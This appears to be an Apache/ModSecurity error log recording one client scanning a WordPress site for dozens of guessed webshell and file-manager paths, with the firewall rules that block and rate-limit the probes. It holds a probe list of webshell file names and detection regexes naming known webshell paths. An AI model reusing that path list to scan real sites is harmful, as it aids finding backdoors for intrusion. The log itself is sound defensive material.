[Tue Apr 07 21:35:40.371539 2026] [:error] [pid 37597:tid 37635] [client 185.245.82.81:56582] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "adUILA6uAY0QAy-8EEKkHwAAAEE"]
[Tue Apr 07 21:35:41.154693 2026] [:error] [pid 37598:tid 37661] [client 185.245.82.81:56588] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Tue Apr 07 21:35:41.671666 2026] [:error] [pid 37598:tid 37664] [client 185.245.82.81:56588] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "adUILe9g7q_cV2WhPazIQQAAAIM"]
[Tue Apr 07 21:35:42.189612 2026] [:error] [pid 59551:tid 59574] [client 185.245.82.81:56602] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "adUILl7LN7Ubyqs-sVsh8QAAAZU"]
[Tue Apr 07 21:35:43.006698 2026] [:error] [pid 37719:tid 37742] [client 185.245.82.81:58744] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Tue Apr 07 21:35:43.263524 2026] [:error] [pid 37719:tid 37736] [client 185.245.82.81:58744] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "adUIL009Xv52u2xXGLA6-QAAAM4"]
[Tue Apr 07 21:35:43.778679 2026] [:error] [pid 37719:tid 37727] [client 185.245.82.81:58748] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adUIL009Xv52u2xXGLA7AQAAAMU"]
[Tue Apr 07 21:35:44.835146 2026] [:error] [pid 37597:tid 37644] [client 185.245.82.81:58762] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Tue Apr 07 21:35:45.096393 2026] [:error] [pid 37597:tid 37658] [client 185.245.82.81:58762] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Tue Apr 07 21:35:45.618474 2026] [:error] [pid 37597:tid 37645] [client 185.245.82.81:58762] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Tue Apr 07 21:35:46.134835 2026] [:error] [pid 37597:tid 37651] [client 185.245.82.81:58762] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "adUIMg6uAY0QAy-8EEKkNQAAAFE"]
[Tue Apr 07 21:35:46.648326 2026] [:error] [pid 37719:tid 37743] [client 185.245.82.81:58766] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "adUIMk09Xv52u2xXGLA7CAAAANU"]
[Tue Apr 07 21:35:47.969763 2026] [:error] [pid 37598:tid 37679] [client 185.245.82.81:58768] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Tue Apr 07 21:35:48.226860 2026] [:error] [pid 37598:tid 37680] [client 185.245.82.81:58768] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "adUINO9g7q_cV2WhPazIYQAAAJM"]
[Tue Apr 07 21:35:48.737347 2026] [:error] [pid 59551:tid 59560] [client 185.245.82.81:58782] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "adUINF7LN7Ubyqs-sVsh_AAAAYc"]
[Tue Apr 07 21:35:49.248474 2026] [:error] [pid 37719:tid 37731] [client 185.245.82.81:58786] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "adUINU09Xv52u2xXGLA7HAAAAMk"]
[Tue Apr 07 21:35:50.829375 2026] [:error] [pid 37597:tid 37657] [client 185.245.82.81:58798] File does not exist: /usr/local/apache/htdocs/suspended-page/ff2.php
[Tue Apr 07 21:35:51.087440 2026] [:error] [pid 37597:tid 37649] [client 185.245.82.81:58798] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "adUINw6uAY0QAy-8EEKkQwAAAE8"]
[Tue Apr 07 21:35:51.859428 2026] [:error] [pid 59551:tid 59560] [client 185.245.82.81:58800] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "adUIN17LN7Ubyqs-sVsiCAAAAYc"]
[Tue Apr 07 21:35:52.375885 2026] [:error] [pid 37597:tid 37640] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Tue Apr 07 21:35:52.637181 2026] [:error] [pid 37597:tid 37635] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Tue Apr 07 21:35:53.156120 2026] [:error] [pid 37597:tid 37650] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Tue Apr 07 21:35:54.191037 2026] [:error] [pid 37597:tid 37639] [client 185.245.82.81:58812] [client 185.245.82.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.245.82.81, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "adUIOg6uAY0QAy-8EEKkUQAAAEU"]
[Tue Apr 07 21:35:54.716574 2026] [:error] [pid 37597:tid 37650] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Tue Apr 07 21:35:54.975653 2026] [:error] [pid 37597:tid 37637] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/ext.php
[Tue Apr 07 21:35:55.234532 2026] [:error] [pid 37597:tid 37647] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Tue Apr 07 21:35:55.770900 2026] [:error] [pid 37597:tid 37649] [client 185.245.82.81:58812] [client 185.245.82.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.245.82.81, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "adUIOw6uAY0QAy-8EEKkYAAAAE8"]
[Tue Apr 07 21:35:56.559370 2026] [:error] [pid 37597:tid 37641] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Tue Apr 07 21:35:56.820198 2026] [:error] [pid 37597:tid 37634] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Tue Apr 07 21:35:57.341350 2026] [:error] [pid 37597:tid 37643] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Tue Apr 07 21:35:57.860519 2026] [:error] [pid 37597:tid 37645] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Tue Apr 07 21:35:58.645963 2026] [:error] [pid 37597:tid 37641] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Tue Apr 07 21:36:00.468587 2026] [:error] [pid 37597:tid 37647] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Tue Apr 07 21:36:00.738510 2026] [:error] [pid 37597:tid 37646] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/index2.php
[Tue Apr 07 21:36:02.036412 2026] [:error] [pid 37597:tid 37644] [client 185.245.82.81:58812] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Tue Apr 07 21:36:02.551752 2026] [:error] [pid 37597:tid 37646] [client 185.245.82.81:58812] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "adUIQg6uAY0QAy-8EEKkkQAAAEw"]
[Tue Apr 07 21:36:03.593116 2026] [:error] [pid 37597:tid 37634] [client 185.245.82.81:2372] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Tue Apr 07 21:36:03.850922 2026] [:error] [pid 37597:tid 37651] [client 185.245.82.81:2372] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "adUIQw6uAY0QAy-8EEKknAAAAFE"]
[Tue Apr 07 21:36:04.631130 2026] [:error] [pid 37598:tid 37676] [client 185.245.82.81:51570] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Tue Apr 07 21:36:04.888465 2026] [:error] [pid 37598:tid 37683] [client 185.245.82.81:51570] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "adUIRO9g7q_cV2WhPazIbAAAAJY"]
[Tue Apr 07 21:36:05.926612 2026] [:error] [pid 59551:tid 59561] [client 185.245.82.81:51582] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Tue Apr 07 21:36:06.446196 2026] [:error] [pid 59551:tid 59565] [client 185.245.82.81:51582] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Tue Apr 07 21:36:06.965537 2026] [:error] [pid 59551:tid 59566] [client 185.245.82.81:51582] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Tue Apr 07 21:36:07.224804 2026] [:error] [pid 59551:tid 59569] [client 185.245.82.81:51582] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Tue Apr 07 21:36:07.742114 2026] [:error] [pid 59551:tid 59555] [client 185.245.82.81:51582] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "adUIR17LN7Ubyqs-sVsiKwAAAYI"]
[Tue Apr 07 21:36:08.260261 2026] [:error] [pid 37597:tid 37643] [client 185.245.82.81:51598] File does not exist: /usr/local/apache/htdocs/suspended-page/contacts.php
[Tue Apr 07 21:36:08.524174 2026] [:error] [pid 37597:tid 37648] [client 185.245.82.81:51598] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Tue Apr 07 21:36:08.783287 2026] [:error] [pid 37597:tid 37649] [client 185.245.82.81:51598] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "adUISA6uAY0QAy-8EEKksQAAAE8"]
[Tue Apr 07 21:36:09.553188 2026] [:error] [pid 37597:tid 37638] [client 185.245.82.81:51604] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adUISQ6uAY0QAy-8EEKkuAAAAEQ"]
[Tue Apr 07 21:36:10.329681 2026] [:error] [pid 37597:tid 37646] [client 185.245.82.81:51620] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Tue Apr 07 21:36:11.108833 2026] [:error] [pid 37597:tid 37656] [client 185.245.82.81:51620] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Tue Apr 07 21:36:11.369247 2026] [:error] [pid 37597:tid 37638] [client 185.245.82.81:51620] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Tue Apr 07 21:36:11.626064 2026] [:error] [pid 37597:tid 37640] [client 185.245.82.81:51620] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "adUISw6uAY0QAy-8EEKkxgAAAEY"]
[Tue Apr 07 21:36:12.138942 2026] [:error] [pid 37719:tid 37741] [client 185.245.82.81:51622] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "adUITE09Xv52u2xXGLA7RQAAANM"]
[Tue Apr 07 21:36:13.966338 2026] [:error] [pid 37719:tid 37738] [client 185.245.82.81:58588] File does not exist: /usr/local/apache/htdocs/suspended-page/tox.php
[Tue Apr 07 21:36:14.490856 2026] [:error] [pid 37719:tid 37725] [client 185.245.82.81:58588] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "adUITk09Xv52u2xXGLA7VgAAAMM"]
[Tue Apr 07 21:36:15.267347 2026] [:error] [pid 37596:tid 37606] [client 185.245.82.81:58590] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "adUIT6paAOZHEjRWjP2kNgAAAAA"]
[Tue Apr 07 21:36:16.043288 2026] [:error] [pid 12948:tid 12964] [client 185.245.82.81:58604] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Tue Apr 07 21:36:16.302671 2026] [:error] [pid 12948:tid 12951] [client 185.245.82.81:58604] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Tue Apr 07 21:36:16.557021 2026] [:error] [pid 12948:tid 12972] [client 185.245.82.81:58604] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "adUIUMbeSPAN8LvMqsa6uAAAARU"]
[Tue Apr 07 21:36:17.334827 2026] [:error] [pid 37719:tid 37725] [client 185.245.82.81:58612] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Tue Apr 07 21:36:17.595319 2026] [:error] [pid 37719:tid 37732] [client 185.245.82.81:58612] File does not exist: /usr/local/apache/htdocs/suspended-page/waf_defender.php
[Tue Apr 07 21:36:19.454911 2026] [:error] [pid 37719:tid 37739] [client 185.245.82.81:58612] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Tue Apr 07 21:36:20.238513 2026] [:error] [pid 37719:tid 37723] [client 185.245.82.81:58612] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "adUIVE09Xv52u2xXGLA7ZwAAAME"]
[Tue Apr 07 21:36:20.756543 2026] [:error] [pid 37597:tid 37653] [client 185.245.82.81:58616] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Tue Apr 07 21:36:21.535301 2026] [:error] [pid 37597:tid 37643] [client 185.245.82.81:58616] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "adUIVQ6uAY0QAy-8EEKk6QAAAEk"]
[Tue Apr 07 21:36:22.314035 2026] [:error] [pid 37598:tid 37676] [client 185.245.82.81:58620] File does not exist: /usr/local/apache/htdocs/suspended-page/theme.php
[Tue Apr 07 21:36:23.096657 2026] [:error] [pid 37598:tid 37675] [client 185.245.82.81:58620] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Tue Apr 07 21:36:23.357914 2026] [:error] [pid 37598:tid 37665] [client 185.245.82.81:58620] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Tue Apr 07 21:36:23.876933 2026] [:error] [pid 37598:tid 37661] [client 185.245.82.81:58620] [client 185.245.82.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.245.82.81, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "adUIV-9g7q_cV2WhPazIewAAAIA"]
[Tue Apr 07 21:36:25.183119 2026] [:error] [pid 37598:tid 37664] [client 185.245.82.81:58620] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "adUIWe9g7q_cV2WhPazIgAAAAIM"]
[Tue Apr 07 21:36:25.697173 2026] [:error] [pid 37719:tid 37737] [client 185.245.82.81:49098] File does not exist: /usr/local/apache/htdocs/suspended-page/small.php
[Tue Apr 07 21:36:25.954180 2026] [:error] [pid 37719:tid 37736] [client 185.245.82.81:49098] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "adUIWU09Xv52u2xXGLA7bAAAAM4"]
[Tue Apr 07 21:36:26.465137 2026] [:error] [pid 37719:tid 37740] [client 185.245.82.81:49114] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Tue Apr 07 21:36:27.495869 2026] [:error] [pid 37719:tid 37724] [client 185.245.82.81:49114] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Tue Apr 07 21:36:28.008627 2026] [:error] [pid 37719:tid 37728] [client 185.245.82.81:49114] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "adUIXE09Xv52u2xXGLA7eQAAAMY"]
[Tue Apr 07 21:36:28.794309 2026] [:error] [pid 37719:tid 37724] [client 185.245.82.81:49128] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Tue Apr 07 21:36:29.055211 2026] [:error] [pid 37719:tid 37746] [client 185.245.82.81:49128] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Tue Apr 07 21:36:29.314597 2026] [:error] [pid 37719:tid 37728] [client 185.245.82.81:49128] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "adUIXU09Xv52u2xXGLA7iQAAAMY"]
[Tue Apr 07 21:36:29.824983 2026] [:error] [pid 37719:tid 37725] [client 185.245.82.81:49138] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "adUIXU09Xv52u2xXGLA7iwAAAMM"]
[Tue Apr 07 21:36:30.338000 2026] [:error] [pid 37719:tid 37738] [client 185.245.82.81:49146] File does not exist: /usr/local/apache/htdocs/suspended-page/aks.php
[Tue Apr 07 21:36:30.596951 2026] [:error] [pid 37719:tid 37743] [client 185.245.82.81:49146] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Tue Apr 07 21:36:30.852446 2026] [:error] [pid 37719:tid 37745] [client 185.245.82.81:49146] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img/about.php"] [unique_id "adUIXk09Xv52u2xXGLA7lwAAANc"]
[Tue Apr 07 21:36:31.361633 2026] [:error] [pid 59804:tid 59827] [client 185.245.82.81:49150] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img/about.php"] [unique_id "adUIX3YVIXiPh5_eJTm7MwAAAhU"]
[Tue Apr 07 21:36:31.872768 2026] [:error] [pid 59490:tid 59500] [client 185.245.82.81:49156] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img/about.php"] [unique_id "adUIX0cw8OFbiUZ7Rx1yRwAAAUg"]
[Tue Apr 07 21:36:32.383375 2026] [:error] [pid 59551:tid 59568] [client 185.245.82.81:49158] [client 185.245.82.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img/about.php"] [unique_id "adUIYF7LN7Ubyqs-sVsiZQAAAY8"]
